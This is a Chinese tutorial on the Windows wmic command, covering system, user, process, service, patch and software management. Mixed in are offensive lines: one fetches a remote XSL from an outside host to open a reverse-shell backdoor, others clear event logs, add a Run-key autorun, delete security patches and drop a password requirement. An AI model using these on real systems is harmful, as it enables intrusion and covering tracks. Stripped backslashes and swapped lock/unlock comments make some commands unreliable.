wmic命令解析与实例

2022-09-28 19:26:13 浏览数 (2)

[TOC]

0x00 前言介绍

描述:WMI的全名为”Windows Management Instrumentation - Windows管理规范“, 从Windows 98开始 Windows操作系统都支持WMI, 它是由一系列工具集组成的可以在本地或者远程管理计算机系统。

WMI 特点: WMI有一组API: 我们不管使用VBScript、PowerShell脚本还是利用C#的来访问WMI的类库,都是因为WMI向外暴露的一组API,通过调用API实现使用指定的类。 WMI有一个存储库: 尽管WMI的多数实例数据都不存储在WMI中,但是WMI确实有一个存储库,用来存放提供程序提供的类信息,或者称为类的蓝图或者Schema。 WMI有一个Service: 运行有 Winmgmt 的Windows服务,如果停止这个服务所有对WMI的操作都将没有反应。 WMI是可扩展性: 基于WMI的可扩展性 WMI对资源的操作,不是它自己实现了什么方法,而完全取决于向它注册的提供程序。

Q: 为啥需要WMIC.exe管理工具? 描述: 但是在WMIC出现之前如果要管理WMI系统必须使用一些专门的WMI应用,例如SMS或者使用WMI的脚本编程API,或者使用CIM Studio之类的工具。如果不熟悉C 之类的编程语言或VBScript之类的脚本语言,或者不掌握WMI名称空间的基本知识,要用WMI管理系统是很困难的。

Q: 什么是wmic.exe 描述: wmic.exe 是 Windows Management Instrumentation Windows管理工具,提供了从命令行接口和批命令脚本执行系统管理的支持。其不能直接进行执行需要切换终端到C:WindowsSystem32wbem位置下才能进行调用;通过 WMI 实现数据的收集与管理,包括提供注册、请求传送、远程管理、安全管理、查询能力、和脚本编程能力等,其设计初衷之一是为了管理员能更加方便的对远程 windows 主机进行各种日常管理

Tips : WMI是管理员日常必备的强大工具之一是脚本伴侣。

远程管理的先决条件:

  • a.启动Windows Management Instrumentation服务,开放TCP135端口。
  • b.本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”。

1.语法参数

系统管理执行脚本界面:

代码语言:javascript复制
#非交互模式(Non-Interactive mode)
wmic <command> 

#交互模式(Interactive mode)
运行->cmd->wmic
[global switches] <command>

帮助命令:

代码语言:javascript复制
(<别名> [WMI 对象] | <别名> [<路径 where>] | [<别名>] <路径 where>) [<谓词子句>]

#可以使用以下全局开关:
/NAMESPACE           别名在其上操作的命名空间的路径。
/ROLE                包含别名定义的角色的路径。
/NODE                别名在其上操作的服务器。
/IMPLEVEL            客户端模拟级别。
/AUTHLEVEL           客户端身份验证级别。
/LOCALE              客户端应使用的语言 ID。
/PRIVILEGES          启用或禁用所有权限。
/TRACE               将调试信息输出到 stderr。
/RECORD              记录所有输入命令和输出内容。
/INTERACTIVE         设置或重置交互模式。
/FAILFAST            设置或重置 FailFast 模式。
/USER                会话期间要使用的用户。
/PASSWORD            登录会话时要使用的密码。
/OUTPUT              指定输出重定向模式。
/APPEND              指定输出重定向模式。
/AGGREGATE           设置或重置聚合模式。
/AUTHORITY           指定连接的 <授权类型>。
/?[:<BRIEF|FULL>]    用法信息。
有关特定全局开关的详细信息,请键入: switch-name /?

#当前角色中可以使用以下别名:
ALIAS                    - 对本地系统上可用别名的访问
BASEBOARD                - 基板(也称为主板或系统板)管理。
BIOS                     - 基本输入/输出服务(BIOS)管理。
BOOTCONFIG               - 启动配置管理。
CDROM                    - CD-ROM 管理。
COMPUTERSYSTEM           - 计算机系统管理。
CPU                      - CPU 管理。
CSPRODUCT                - SMBIOS 中的计算机系统产品信息。
DATAFILE                 - 数据文件管理。
DCOMAPP                  - DCOM 应用程序管理。
DESKTOP                  - 用户的桌面管理。
DESKTOPMONITOR           - 桌面监视器管理。
DEVICEMEMORYADDRESS      - 设备内存地址管理。
DISKDRIVE                - 物理磁盘驱动器管理。
DISKQUOTA                - 用于 NTFS 卷的磁盘空间使用量。
DMACHANNEL               - 直接内存访问(DMA)通道管理。
ENVIRONMENT              - 系统环境设置管理。
FSDIR                    - 文件系统目录项管理。
GROUP                    - 组帐户管理。
IDECONTROLLER            - IDE 控制器管理。
IRQ                      - 中断请求线路(IRQ)管理。
JOB                      - 提供对使用计划服务安排的作业的访问。
LOADORDER                - 定义执行依赖关系的系统服务的管理。
LOGICALDISK              - 本地存储设备管理。
LOGON                    - 登录会话。
MEMCACHE                 - 缓存内存管理。
MEMORYCHIP               - 内存芯片信息。
MEMPHYSICAL              - 计算机系统的物理内存管理。
NETCLIENT                - 网络客户端管理。
NETLOGIN                 - 网络登录信息(属于特定用户)管理。
NETPROTOCOL              - 协议(及其网络特征)管理。
NETUSE                   - 活动网络连接管理。
NIC                      - 网络接口控制器(NIC)管理。
NICCONFIG                - 网络适配器管理。
NTDOMAIN                 - NT 域管理。
NTEVENT                  - NT 事件日志中的项目。
NTEVENTLOG               - NT 事件日志文件管理。
ONBOARDDEVICE            - 主板(系统板)中内置的通用适配器设备的管理。
OS                       - 已安装操作系统的管理。
PAGEFILE                 - 虚拟内存文件交换管理。
PAGEFILESET              - 页面文件设置管理。
PARTITION                - 物理磁盘的已分区区域的管理。
PORT                     - I/O 端口管理。
PORTCONNECTOR            - 物理连接端口管理。
PRINTER                  - 打印机设备管理。
PRINTERCONFIG            - 打印机设备配置管理。
PRINTJOB                 - 打印作业管理。
PROCESS                  - 进程管理。
PRODUCT                  - 安装程序包任务管理。
QFE                      - 快速修复工程。
QUOTASETTING             - 卷上的磁盘配额设置信息。
RDACCOUNT                - 远程桌面连接权限管理。
RDNIC                    - 对特定网络适配器的远程桌面连接管理。
RDPERMISSIONS            - 特定远程桌面连接的权限。
RDTOGGLE                 - 远程打开或关闭远程桌面侦听程序。
RECOVEROS                - 操作系统出现故障时将从内存收集的信息。
REGISTRY                 - 计算机系统注册表管理。
SCSICONTROLLER           - SCSI 控制器管理。
SERVER                   - 服务器信息管理。
SERVICE                  - 服务应用程序管理。
SHADOWCOPY               - 卷影副本管理。
SHADOWSTORAGE            - 卷影副本存储区域管理。
SHARE                    - 共享资源管理。
SOFTWAREELEMENT          - 系统上安装的软件产品元素的管理。
SOFTWAREFEATURE          - SoftwareElement 的软件产品子集的管理。
SOUNDDEV                 - 声音设备管理。
STARTUP                  - 当用户登录到计算机系统时自动运行的命令的管理。
SYSACCOUNT               - 系统帐户管理。
SYSDRIVER                - 基本服务的系统驱动程序管理。
SYSTEMENCLOSURE          - 物理系统外壳管理。
SYSTEMSLOT               - 物理连接点(包括端口、插槽和外设以及专用连接点)的管理。
TAPEDRIVE                - 磁带驱动器管理。
TEMPERATURE              - 温度传感器(电子温度计)数据管理。
TIMEZONE                 - 时区数据管理。
UPS                      - 不间断电源(UPS)管理。
USERACCOUNT              - 用户帐户管理。
VOLTAGE                  - 电压传感器(电子电压表)数据管理。
VOLUME                   - 本地存储卷管理。
VOLUMEQUOTASETTING       - 将磁盘配额设置与特定磁盘卷相关联。
VOLUMEUSERQUOTA          - 每用户存储卷配额管理。
WMISET                   - WMI 服务操作参数管理。

#帮助说明:
#有关特定别名的详细信息,请键入: alias /?
#有关 CLASS/PATH/CONTEXT 的详细信息,请键入: (CLASS | PATH | CONTEXT) /?
CLASS     - 按 Esc 键可获取完整 WMI 架构
PATH      - 按 Esc 键可获取完整 WMI 对象路径
CONTEXT   - 显示所有全局开关的状态
QUIT/EXIT - 退出程序

如:我要查看process命令的帮助,键入:wmic process /?后显示如下:

代码语言:javascript复制
#PROCESS - 进程管理。提示: BNF 的别名用法。
(<别名> [WMI 对象] | <别名> [<路径 where>] | [<别名>] <路径 where>) [<谓词子句>]。

#用法:
PROCESS ASSOC [<格式说明符>]
PROCESS CALL <方法名称> [<实际参数列表>]
PROCESS CREATE <分配列表>
PROCESS DELETE
PROCESS GET [<属性列表>] [<获取开关>]
PROCESS LIST [<列表格式>] [<列表开关>]

Call - 函数高级用法

代码语言:javascript复制
ChangeSecurityPermissions
Compress
Copy
Delete
GetEffectivePermission
Rename
TakeOwnerShip
Uncompress

Out - 以文件的形式输出获取的内容

简单示例:

代码语言:javascript复制
# -Commands
CLASS #从WMIC的默认别名模式中转义,直接访问WMI模式中的类。
PATH  #从WMIC的默认别名模式中转义,直接访问WMI模式中的实例。
WMIC CONTEXT #显示所有全局开关的当前值。
# NAMESPACE             : rootcimv2
# ROLE                  : rootcli
# NODE(S)               : WEIYIGEEK
# IMPLEVEL              : IMPERSONATE
# [AUTHORITY            : N/A]
# AUTHLEVEL             : PKTPRIVACY
# LOCALE                : ms_804
# PRIVILEGES            : ENABLE
# TRACE                 : OFF
# RECORD                : N/A
# INTERACTIVE           : OFF
# FAILFAST              : OFF
# OUTPUT                : STDOUT
# APPEND                : STDOUT
# USER                  : N/A
# AGGREGATE             : ON
WMIC QUIT    #Exit from WMIC.
WMIC EXIT    #Exit from WMIC.

# - 特殊命令获取信息进行输出
wmic /output:路径 <command> get 字段1,字段2;
WMIC /OUTPUT:c:ClassOutput.htm CLASS Win32_SoundDevice
WMIC /OUTPUT:c:PathOutput.txt PATH Win32_SoundDevice GET /VALUE


# - 格式化输出格式选择以及选择指定字段
# /FORMAT:VALUE|LIST|CSV|HFORM|HTABLE|MOF|RAWXML|TABLE|XML|htable-sortby
# /get:字段1,字段2 #及查询命令需要显示列值的标题
PS C:WindowsSystem32wbem> wmic PATH Win32_SoundDevice GET SystemName,Status  /Format:VALUE
# Status=OK
# SystemName=WEIYIGEEK

wmic /output:d:install.txt product get name,version

0x01 系统配置

environment

描述:ENVIRONMENT系统环境设置管理;

代码语言:javascript复制
ENVIRONMENT ASSOC [<格式说明符>]
ENVIRONMENT CREATE <分配列表>
ENVIRONMENT DELETE
ENVIRONMENT GET [<属性列表>] [<获取开关>]
ENVIRONMENT LIST [<列表格式>] [<列表开关>]
ENVIRONMENT SET [<分配列表>] #属性设置操作。

基础实例:

代码语言:javascript复制
#1.环境变量摘要信息显示->> Full显示所有、Brief显示摘要、Instance显示实例、Status显示状态
wmic environment list brief
# Name                      UserName             VariableValue
# CLASSPATH                 <SYSTEM>             .;%JAVA_HOME%libdt.jar;%JAVA_HOME%libtools.jar;


#2.获取指定环境变量的值以及所属用户
wmic ENVIRONMENT where "name='temp'" get UserName,VariableValue  #获取temp环境变量


#3.更改设置的环境变量属性支持cmd中%%符号
wmic ENVIRONMENT where "name='path' and username='<system>'" set VariableValue="%path%;e:tools"  #系统用户-更改path环境变量值,新增e:tools


#4.#新增系统环境变量home,值为%HOMEDRIVE%%HOMEPATH%
wmic ENVIRONMENT create name="home",username="<system>",VariableValue="%HOMEDRIVE%%HOMEPATH%"


#5.删除home环境变量
wmic ENVIRONMENT where "name='home'" delete

WeiyiGeek.

useraccount - 用户帐户管理计算机用户列表

基础语法:

代码语言:javascript复制
USERACCOUNT ASSOC [<格式说明符>]
USERACCOUNT CALL <方法名称> [<实际参数列表>]
USERACCOUNT CREATE <分配列表>
USERACCOUNT DELETE
USERACCOUNT GET [<属性列表>] [<获取开关>]
USERACCOUNT LIST [<列表格式>] [<列表开关>]
USERACCOUNT SET [<分配列表>] #设置是否禁用/名称/锁定/密码是否能更改以及密码失效的时间
    Disabled            boolean
    FullName            string 
    Lockout             boolean 
    PasswordChangeable  boolean
    PasswordExpires     boolean
    PasswordRequired    boolean #密码需要

基础示例:

代码语言:javascript复制
# 0.用户信息获取
wmic useraccount list brief
  # AccountType  Caption                       Domain     FullName           Name                SID
  # 512          WEIYIGEEKAdministrator       WEIYIGEEK                     Administrator       S-1-5-21-923396991-3399624210-3190802951-500

# 1.当前计算机用户和所有计算机匹配到的用户列表
WMIC USERACCOUNT where "name='%UserName%'" 
WMIC USERACCOUNT LIST /FORMAT:VALUE | findstr /n "<Name> <SID> Descrip Password"
# AccountType  Caption                       Domain     FullName  Name                SID
# 512          WEIYIGEEKAdministrator       WEIYIGEEK            Administrator       S-1-5-21-923396991-3399624210-3190802951-500
# - 更改用户名Administrator为WeiyiGeek
wmic useraccount where "name='Administrator" call Rename WeiyiGeek          

# 2.相关信息更改
# - 计算机用户名称更改
wmic USERACCOUNT where name="Administrator" set FullName="admin"  #更改用户administrator全名为admin
# - Lock user account
wmic useraccount where name='username' set disabled=false
# - Unlock user account
wmic useraccount where name='username' set disabled=true
# - Remove password requirement for logging in
wmic useraccount where name='username' set PasswordRequired=false
# - Restrict user from changing password - 限制用户更改密码
wmic useraccount where name='username' set passwordchangeable=false

group - 组帐户管理

基础语法

代码语言:javascript复制
# 用法
GROUP ASSOC [<格式说明符>]
GROUP CALL <方法名称> [<实际参数列表>]
GROUP CREATE <分配列表>
GROUP DELETE
GROUP GET [<属性列表>] [<获取开关>]
GROUP LIST [<列表格式>] [<列表开关>]

# 提示: BNF 的别名用法。
(<别名> [WMI 对象] | <别名> [<路径 where>] | [<别名>] <路径 where>) [<谓词子句>]。

简单示例:

代码语言:javascript复制
# - 获取组SID
wmic group get Caption,InstallDate,LocalAccount,Domain,SID,Status 
# aption                                        Domain     InstallDate  LocalAccount  SID                                            Status
# WEIYIGEEKAccess Control Assistance Operators  WEIYIGEEK               TRUE          S-1-5-32-579                                   OK
# WEIYIGEEKAdministrators                       WEIYIGEEK               TRUE          S-1-5-32-544                                   OK

cpu

基础示例:

代码语言:javascript复制
# //查看CPU及其内存状况内存速率
wmic cpu get SystemName,Caption,name,CurrentClockSpeed  
# Caption                               CurrentClockSpeed  Name                                     SystemName
# Intel64 Family 6 Model 60 Stepping 3  3301               Intel(R) Core(TM) i5-4590 CPU @ 3.30GHz  WEIYIGEEK


#//查看系统实际核心数(启用)以及线程数
> wmic cpu get NumberOfCores,NumberOfEnabledCore,NumberOfLogicalProcessors
NumberOfCores  NumberOfEnabledCore  NumberOfLogicalProcessors
8              8                    8

os - 系统信息

基础语法:

代码语言:javascript复制
OS CALL <方法名称> [<实际参数列表>]
OS CREATE <分配列表>
OS DELETE
OS GET [<属性列表>] [<获取开关>]
OS LIST [<列表格式>] [<列表开关>]
OS SET [<分配列表>]

> wmic os get /?  #可能会被恶意了利用metasploit生成xsl马儿
/FORMAT:<格式说明符>   - 处理 XML 结果的关键字/XSL 文件名。

简单示例:

代码语言:javascript复制
# 0.获取操作系统详情
wmic os get /all /format:list

# 1.计算机简要信息
wmic os list brief
  # BuildNumber  Organization  RegisteredUser  SerialNumber             SystemDirectory      Version
  # 18362                      WeiyiGeek       00331-10000-00001-AA685  C:Windowssystem32  10.0.18362

# - 获取指定键的值
Wmic os get ServicePackMajorVersion # XP或者Win7 可用查看SP版本
Wmic os get ProductType,OperatingSystemSKU
  # OperatingSystemSKU  ProductType
  # 48                  1

# 2.实现反弹后门
wmic os get /FORMAT:"http://lyshark.com/shell.xsl" & timeout /T 1 /NOBREAK & wmic os get /FORMAT:"http://lyshark.com/shell.xsl"

# 3.设置覆盖安装实际
wmic os where(primary=1) call setdatetime 20070731144642.555555 480

WeiyiGeek.

bios

基础示例:

代码语言:javascript复制
#查看bios版本型号
wmic bios get BIOSVersion,Manufacturer,Name
# BIOSVersion                                                 Manufacturer  Name
# {"DELL   - 1072009", "A11", "American Megatrends - 4028D"}  Dell Inc.     A11

csproduct

基础示例:

代码语言:javascript复制
#//计算机系统产品信息(笔记本型号)
WMIC CSPRODUCT LIST FULL       
# Description=计算机系统产品
# IdentifyingNumber=8QVY
# Name=OptiPlex 
# SKUNumber=
# UUID=4C4C4544-5551-5610-8059-B8C04F383632
# Vendor=Dell Inc.
# Version=00

computersystem

基础示例:

代码语言:javascript复制
#1.系统信息
WMIC COMPUTERSYSTEM list /format:list | findstr /n "<Domain> Roles UserName Manufacturer Model  "
# 16:Domain=WORKGROUP
# 25:Manufacturer=Dell Inc.
# 26:Model=OptiPlex 9020
# 44:Roles={"LM_Workstation","LM_Server","Print","NT"}
# 53:UserName=WEIYIGEEKWeiyiGeek

#2.退出所在域
wmic computersystem Where "name='计算机名称'" call joindomainorworkgroup "",1,"域名称","域管理员密码","域管理员用户名"

#3.更改现有工作组为指定的工作组
wmic computersystem Where "name='计算机名称'" call UnjoinDomainOrWorkgroup

#4.更改计算机名称
wmic computersystem where "caption='%ComputerName%'" call rename newcomputername

# - 补充信息: 获取系统角色、用户名和制造商
wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:list
  # Domain=WORKGROUP
  # Manufacturer=Dell Inc.
  # Model=OptiPlex 9020
  # Name=WEIYIGEEK
  # Roles={"LM_Workstation","LM_Server","Print","NT"}
  # UserName=WEIYIGEEKWeiyiGeek

baseboard

基础示例:

代码语言:javascript复制
#  //主板信息
WMIC BASEBOARD LIST /FORMAT:list | findstr  "<Description> Product Manufacturer" 
Description=基板
Manufacturer=Dell Inc.
Product=03CPWF

memlogical

描述:Windows10中不能执行该命令; 基础示例:

代码语言:javascript复制
#获取内存数:
wmic memlogical get totalphysicalmemory

sounddev

基础示例:

代码语言:javascript复制
#声音设备管理信息
ProductName                       Status  StatusInfo
Realtek High Definition Audio     OK      3
AMD High Definition Audio Device  OK      3

diskdrive

基础示例:

代码语言:javascript复制
#获取物理磁盘型号大小等  500105249280  (gb|mb|kb|b)
wmic DISKDRIVE get Caption,size,InterfaceType                       
# Caption                      InterfaceType  Size
# ST1000DM010-2EP102           SCSI           1000202273280
# WD Elements 1078 USB Device  USB            1000169372160

logicaldisk

基础示例:

代码语言:javascript复制
#本地储存设备管理 - 获取硬盘系统格式、总大小、可用空间等 (能看见全部磁盘)
wmic LOGICALDISK get name,Description,filesystem,size,freespace      
# Description   FileSystem  FreeSpace     Name  Size
# 本地固定磁盘  NTFS        94062698496   C:    161062318080
# 本地固定磁盘  NTFS        260568281088  D:    280247660544
# 本地固定磁盘  NTFS        244968955904  E:    279173918720
# 本地固定磁盘  NTFS        184098725888  F:    279480832000
# 光盘                                    G:
# 光盘                                    I:
# 本地固定磁盘  NTFS        275694428160  L:    536870907904
# 本地固定磁盘  NTFS        282572599296  M:    463298621440

desktopmonitor

代码语言:javascript复制
# //显示系统屏幕大小 -- 注意条件
wmic DESKTOPMONITOR where Status='ok' get ScreenHeight,ScreenWidth  
# ScreenHeight  ScreenWidth
# 1080          1920

ONBOARDDEVICE - 主板(系统板)中内置的通用适配器设备的管理

基础语法:

代码语言:javascript复制
# 用法:
ONBOARDDEVICE ASSOC [<格式说明符>]
ONBOARDDEVICE CREATE <分配列表>
ONBOARDDEVICE DELETE
ONBOARDDEVICE GET [<属性列表>] [<获取开关>]
ONBOARDDEVICE LIST [<列表格式>] [<列表开关>]

简单示例:

代码语言:javascript复制
# - 判断目标系统是否为虚拟机
wmic onboarddevice get Desciption,DeviceType,Enabled,Status /format:list

NTEVENTLOG - NT 事件日志文件管理

基础语法:

代码语言:javascript复制
NTEVENTLOG ASSOC [<格式说明符>]
NTEVENTLOG CALL <方法名称> [<实际参数列表>]
NTEVENTLOG CREATE <分配列表>
NTEVENTLOG DELETE
NTEVENTLOG GET [<属性列表>] [<获取开关>]
NTEVENTLOG LIST [<列表格式>] [<列表开关>]
NTEVENTLOG SET [<分配列表>]

基础操作:

代码语言:javascript复制
# - (1) 查看系统各类日志记录条数及其分类
wmic nteventlog list brief
  # FileSize  LogfileName             Name                                                         NumberOfRecords
  # 9506816   Application             C:WINDOWSSystem32WinevtLogsApplication.evtx             13542
  # 69632     HardwareEvents          C:WINDOWSSystem32WinevtLogsHardwareEvents.evtx          0
  # 69632     Internet Explorer       C:WINDOWSSystem32WinevtLogsInternet Explorer.evtx       0
  # 69632     Key Management Service  C:WINDOWSSystem32WinevtLogsKey Management Service.evtx  0
  # 69632     OAlerts                 C:WINDOWSSystem32WinevtLogsOAlerts.evtx                 66
  # 69632     Parameters              C:WINDOWSSystem32WinevtLogsParameters.evtx              0
  # 69632     State                   C:WINDOWSSystem32WinevtLogsState.evtx                   0
  # 19992576  System                  C:WINDOWSSystem32WinevtLogsSystem.evtx                  49428
  # 15732736  Windows PowerShell      C:WINDOWSSystem32WinevtLogsWindows PowerShell.evtx      9880

# - (2) 清理系统日志
wmic nteventlog where logfileName='system' call cleareventlog
  # 执行 (\WEIYIGEEKROOTCIMV2:Win32_NTEventlogFile.Name="C:\WINDOWS\System32\Winevt\Logs\System.evtx")->cleareventlog() 方法执行成功

0x02 系统服务进程

process - 进程查看和修改

基础语法:

代码语言:javascript复制
PROCESS ASSOC [<format specifier>]  #关联进程
PROCESS CALL <method name> [<actual param list>]  #调用函数
  * terminate #关闭进程
  * create    #创建进程
  * AttachDebugger #调试进程
  * GetOwner  #获取执行者
  * GetOwnerSid #获取执行则者SID
  * SetPriority #设置进程优先级

PROCESS CREATE <assign list>  #创建进程
PROCESS DELETE   #删除进行
PROCESS GET [<property list>] [<get switches>] #获取进程信息
PROCESS LIST [<list format>] [<list switches>]  #列举进程

基础实例:

代码语言:javascript复制
# 1.显示进程的详细信息
PS C:WindowsSystem32wbem> wmic process list brief
PS C:WindowsSystem32wbem> wmic process list full
# HandleCount  Name                         Priority  ProcessId  ThreadCount  WorkingSetSize
# 0            System Idle Process          0         0          4            8192
# 7653         System                       8         4          188          32768

# 2.获取指定进程信息(非常实用)
# - 查看独立PID进程名以及及=可执行路径常常和/FORMAT:VALUE联用
wmic process get name,commandline,processid,executablepath /FORMAT:List         
# CommandLine="C:Program FilesWindowsAppsMicrosoft.WindowsTerminal_0.6.2951.0_x64__8wekyb3d8bbweWindowsTerminal.exe"
# ExecutablePath=C:Program FilesWindowsAppsMicrosoft.WindowsTerminal_0.6.2951.0_x64__8wekyb3d8bbweWindowsTerminal.exe
# Name=WindowsTerminal.exe
# ProcessId=11112

# - 直接获取其值不显示其头部
wmic process get caption,commandline /value
# Caption=bash.exe
# CommandLine="D:Program FilesGitusrbinbash.exe"


#3.调用call进行创建进程、终止进程、删除进程、开启与关闭服务
wmic process call create calc 
wmic process call create shutdown.exe #关闭本地计算机
wmic process call create "C:WindowsSystem32notepad.exe"   #新建notepad进程 或者 该路径有空格的情况下 "C:Program FilesTencentQQQQ.exe"
wmic process where name="explorer.exe" call terminate 
wmic process where name="notepad.exe" delete
  # 删除实例 \WEIYIGEEKROOTCIMV2:Win32_Process.Handle="31788" 实例删除成功。
wmic service where "name='SERVERNAME'" call startservice # 开启服务
wmic service where "name='SERVERNAME'" call stopservice  # 关闭服务

#4.过滤进程显示信息
wmic process where "name='svchost.exe'" get ExecutablePath
wmic process where "name='wechat.exe'" list full   # 显示QQ进程的全部信息
# CommandLine="D:Program Files (x86)TencentWeChatWeChat.exe"
# CSName=WEIYIGEEK
# Description=WeChat.exe
# ExecutablePath=D:Program Files (x86)TencentWeChatWeChat.exe
# ExecutionState=
# Handle=10452
# HandleCount=1188
# InstallDate=
# KernelModeTime=98750000
# MaximumWorkingSetSize=126004
# MinimumWorkingSetSize=124824
# Name=WeChat.exe
# OSName=Microsoft Windows 10 专业版|C:Windows|DeviceHarddisk0Partition3
wmic service where "state='running'" list brief    # 查看运行中的服务


#5.关闭指定进程,执行下面的命令将关闭正在运行的QQ.exe:
wmic process where "name='wechat.exe'" call terminate 
#结束svchost.exe进程,路径为非C:WINDOWSsystem32svchost.exe的
wmic process where "name='svchost.exe' and ExecutablePath<>'C:\WINDOWS\system32\svchost.exe'" call Terminate  
wmic process 2345 call terminate #删除指定进程


#6.获取指定进程信息
PS C:WindowsSystem32wbem> wmic process where "name='TIM.exe'" call GetOwner
# 执行(\WEIYIGEEKROOTCIMV2:Win32_Process.Handle="3720")->GetOwner()
# 方法执行成功外参数:
# instance of __PARAMETERS
# {
#         Domain = "WEIYIGEEK";
#         ReturnValue = 0;
#         User = "WeiyiGeek";
# };

PS C:WindowsSystem32wbem> wmic process where "name='TIM.exe'" call GetOwnerSid
# 执行(\WEIYIGEEKROOTCIMV2:Win32_Process.Handle="3720")->GetOwnerSid()
# 方法执行成功外参数:
# instance of __PARAMETERS
# {
#         ReturnValue = 0;
#         Sid = "S-1-5-21-923396991-3399624210-3190802951-1001";
# };


#7.精确查找与模糊查找
wmic process where caption="notepad.exe" get caption,commandline /value
wmic process where="caption like 'notepad%'" get caption,commandline /value


#8.删除满足多个条件的进程(可以利用Key值进行匹配)
wmic process where name="'QQ.exe' and pid='123'" delete     

#9.针对注册表的操作设置自启动
wmic process call create "reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v "autorun" /t REG_SZ /d "C:windowsautorun.exe" /f"


#10.获取非%windows%目录下可执行文件列表
wmic process where "NOT ExecutablePath LIKE '%Windows%'" GET ExecutablePath
  # ExecutablePath
  # C:Program Files (x86)GoogleChromeApplicationchrome.exe
  # C:Program Files (x86)GoogleChromeApplicationchrome.exe

WeiyiGeek.

补充:批处理

代码语言:javascript复制
@echo off
::以KB为单位显示进程占用内存
for /f "skip=1 tokens=1-2 delims= " %%a in ('wmic process where caption^="conime.exe" get WorkingSetSize^,PeakWorkingSetSize') do (
set /a m=%%a/1024
set /a mm=%%b/1024
echo 进程conime.exe现在占用内存:%m%K;最高占用内存:%mm%K
)
pause

service

描述:进行计算机服务程序管理效果比net start/stop 服务名称强大; 基础语法

代码语言:javascript复制
SERVICE ASSOC [<format specifier>]
SERVICE CALL <method name> [<actual param list>]
  * Change                  BOOLEAN/STRING/ARRAY OF STRING/UINT8  #更改 crete 函数方法 创建的Key/VALUE
  * ChangeStartMode         [IN ]StartMode(STRING)                  (null) #更改启动模式
  * Create                  [IN ]DesktopInteract(BOOLEAN)           (null)
                          * [IN ]DisplayName(STRING)
                          * [IN ]StartName(STRING)
                          * [IN ]StartPassword(STRING)
                          * [IN ]ErrorControl(UINT8)
                          * [IN ]LoadOrderGroup(STRING)
                          * [IN ]LoadOrderGroupDependencies(ARRAY OF STRING)
                          * [IN ]Name(STRING)
                          * [IN ]PathName(STRING)
                          * [IN ]ServiceDependencies(ARRAY OF STRING)
                          * [IN ]ServiceType(UINT8)
                          * [IN ]StartMode(STRING)
  * Delete                                                          (null)
  * InterrogateService                                              (null)  #中和服务
  * PauseService                                                    (null)  #暂停服务
  * ResumeService                                                   (null)  #服务摘要
  * StartService                                                    (null)
  * StopService                                                     (null)
  * UserControlService      [IN ]ControlCode(UINT8)                 (null) #用户控制服务

SERVICE CREATE <assign list>
SERVICE DELETE
SERVICE GET [<property list>] [<get switches>]
SERVICE LIST [<list format>] [<list switches>]

基础实例:

代码语言:javascript复制
#1.案例:停止、暂停和运行服务功能
wmic SERVICE where name="Spooler" call startservice  #运行spooler服务
wmic SERVICE where name="Spooler" call stopservice  #运行spooler服务
wmic SERVICE where name="Spooler" call PauseService  #暂停spooler服务
wmic SERVICE where name="Spooler" call delete   #删除服务

#2.更改spooler服务启动类型[auto|Disabled|Manual] 释[自动|禁用|手动]
wmic SERVICE where name="Spooler" set StartMode="auto"  


#3.caption 指定服务名进行过滤
Service where caption="windows time" call stopservice    #停止服务  
Service where caption="windows time" call startservice   #启动服务 
#停止服务,注意name和caption的区别(CMD中运行不能再Powershell中运行)
echo %ERRORLEVEL%   #运行命令是否成功


#4.服务信息摘要以及状态信息指定来过滤
wmic service list brief
# ExitCode  Name                                      ProcessId  StartMode  State    Status
# 1077      AJRouter                                  0          Manual     Stopped  OK
# 0         Spooler                                   3480       Auto       Running  OK
wmic service where "State='Running'" list brief

#5.创建一个服务(未找到)
wmic service create /?:full #获取帮助详细
wmic service call create /?:full

如:telnet服务的显示名称是 telnet 服务名称是tlntsvr, 还有Windows Time服务的名称是w32time 显示名称是"Windows Time"要用引号引起来 主要是有一个空格。

WeiyiGeek.

job

描述:设置计算机的计划任务以及获取计划任务; 基础语法:

代码语言:javascript复制

基础示例:

代码语言:javascript复制
#0.查看创建的计划任务
wmic job list brief



#1.创建计划任务
wmic job call create "notepad.exe",0,0,true,false,********154800.000000 480
wmic job call create "explorer.exe",0,0,1,0,********154600.000000 480

0x03 系统软件与补丁

qfe - 查看系统补丁安装情况

基础语法:

代码语言:javascript复制
QFE ASSOC [<format specifier>]
QFE CREATE <assign list>
QFE DELETE
QFE GET [<property list>] [<get switches>]
QFE LIST [<list format>] [<list switches>]

实践案例:

代码语言:javascript复制
# 1.查找目标机器是否安装了补丁信息
wmic qfe get Caption,Description,HotFixID,InstalledOn | more
# Caption                                        Description      HotFixID   InstalledOn
# http://go.microsoft.com/fwlink/?LinkId=133041  Update           KB2849697  10/26/2016
# http://go.microsoft.com/fwlink/?LinkId=133041  Update           KB2849696  10/26/2016


# 2.删除已经安装的补丁
wmic qfe where "HotFixID='KB4497727'" delete
# Caption                                     CSName     Description      FixComments  HotFixID   InstallDate  InstalledBy  InstalledOn  Name  ServicePackInEffect  Status
# http://support.microsoft.com/?kbid=4497727  WEIYIGEEK  Security Update               KB4497727                            4/1/2019

WeiyiGeek.补丁安装情况

product - 软件安装信息查看

基础语法: 安装包在C:WINDOWSInstaller目录下

代码语言:javascript复制
PRODUCT ASSOC [<format specifier>]
PRODUCT CALL <method name> [<actual param list>]
PRODUCT CREATE <assign list>
PRODUCT DELETE
PRODUCT GET [<property list>] [<get switches>]
PRODUCT LIST [<list format>] [<list switches>]

简单示例:

代码语言:javascript复制
#1.系统已经安装的软件及其版本号
wmic product get name,version 

#2.表示将清单存储为 install.txt 并放在E 盘下 (比较特殊)
wmic /output:E:install.txt  product get name,version   
        
#3.修复和卸载安装
wmic PRODUCT where "name='Microsoft .NET Framework 1.1' and Version='1.1.4322'" call Uninstall #卸载.msi安装包
wmic PRODUCT where "name='Microsoft .NET Framework 1.1' and Version='1.1.4322'" call Reinstall #修复.msi安装包
wmic Product where "name='电子摄像指纹采集'" call Uninstall  #静默卸载
# 执行(\WEIYIGEEKROOTCIMV2:Win32_Product.IdentifyingNumber="{11314157-F5F7-41E7-A507-B700D2AC7F24}",Name="电子摄像指纹
# 采集",Version="1.00.0000")->Uninstall()
# 方法执行成功。
# 外参数:
# instance of __PARAMETERS
# {
#         ReturnValue = 1603;
# };


#4.安装软件信息简要查看
wmic product List brief
# Caption              IdentifyingNumber          Name           Vendor           Version
